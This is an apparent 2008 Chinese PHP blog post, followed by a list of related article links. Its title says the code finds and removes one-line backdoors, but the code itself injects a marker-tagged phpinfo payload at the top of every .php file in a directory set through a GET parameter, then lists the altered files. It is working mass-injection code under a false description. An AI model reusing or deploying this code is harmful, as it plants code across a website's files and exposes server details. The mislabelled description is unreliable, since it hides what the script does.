用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
php中目录,文件操作详谈
Mar 19 PHP
令PHP初学者头疼十四条问题大总结
Nov 12 PHP
php INI配置文件的解析实现分析
Jan 04 PHP
php5.3中连接sqlserver2000的两种方法(com与ODBC)
Dec 29 PHP
生成随机字符串和验证码的类的PHP实例
Dec 24 PHP
zf框架的校验器使用使用示例(自定义校验器和校验器链)
Mar 13 PHP
跟我学Laravel之配置Laravel
Oct 15 PHP
ThinkPHP使用Ueditor的方法详解
May 20 PHP
PHP类的特性实例分析
Sep 28 PHP
PHP上传Excel文件导入数据到MySQL数据库示例
Oct 25 PHP
使用laravel的Eloquent模型如何获取数据库的指定列
Oct 17 PHP
phpmyadmin在宝塔面板里进不去的解决方案
Jul 06 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
java模拟PHP的pack和unpack类
2016/04/13 PHP
JavaScript中:表达式和语句的区别[译]
2012/09/17 Javascript
基于JQuery的模拟苹果桌面Dock效果(稳定版)
2012/10/15 Javascript
jQuery实现多按钮单击变色
2014/11/27 Javascript
javascript中关于&amp;&amp; 和 || 表达式的小技巧分享
2015/04/10 Javascript
javascript中this的四种用法
2015/05/11 Javascript
jquery ajax 如何向jsp提交表单数据
2015/08/23 Javascript
深入浅析JavaScript面向对象和原型函数
2016/02/06 Javascript
JS中如何比较两个Json对象是否相等实例代码
2016/07/13 Javascript
jQuery图片轮播(二)利用构造函数和原型创建对象以实现继承
2016/12/06 Javascript
微信小程序 基础组件与导航组件详细介绍
2017/02/21 Javascript
jQuery判断邮箱格式对错实例代码讲解
2017/04/12 jQuery
详解angular中的作用域及继承
2017/05/31 Javascript
Vue2.0实现购物车功能
2017/06/05 Javascript
react-native动态切换tab组件的方法
2018/07/07 Javascript
浅谈Node框架接入ELK实践总结
2019/02/22 Javascript
vue基础之事件简写、事件对象、冒泡、默认行为、键盘事件实例分析
2019/03/11 Javascript
在 Vue 中编写 SVG 图标组件的方法
2020/02/24 Javascript
[02:06]DOTA2英雄基础教程 暗影萨满
2013/12/16 DOTA
[01:01:04]2018DOTA2亚洲邀请赛 4.5 淘汰赛 OpTic vs TNC 第一场
2018/04/06 DOTA
python 性能提升的几种方法
2016/07/15 Python
R vs. Python 数据分析中谁与争锋?
2017/10/18 Python
用python 实现在不确定行数情况下多行输入方法
2019/01/28 Python
python mqtt 客户端的实现代码实例
2019/09/25 Python
在Python中用GDAL实现矢量对栅格的切割实例
2020/03/11 Python
python中wx模块的具体使用方法
2020/05/15 Python
移动HTML5前端框架—MUI的使用
2017/12/18 HTML / CSS
汽车技术服务与营销专业推荐信
2013/11/29 职场文书
集团公司党的群众路线教育实践活动工作总结
2014/03/03 职场文书
委托书模板
2014/04/04 职场文书
廉政教育的心得体会
2014/09/01 职场文书
企业办公室主任岗位职责
2015/04/01 职场文书
三八妇女节主持词
2015/07/04 职场文书
Python 数据可视化神器Pyecharts绘制图像练习
2022/02/28 Python
详解Alibaba Java诊断工具Arthas查看Dubbo动态代理类
2022/04/08 Java/Android
Spring Cloud OpenFeign模版化客户端
2022/06/25 Java/Android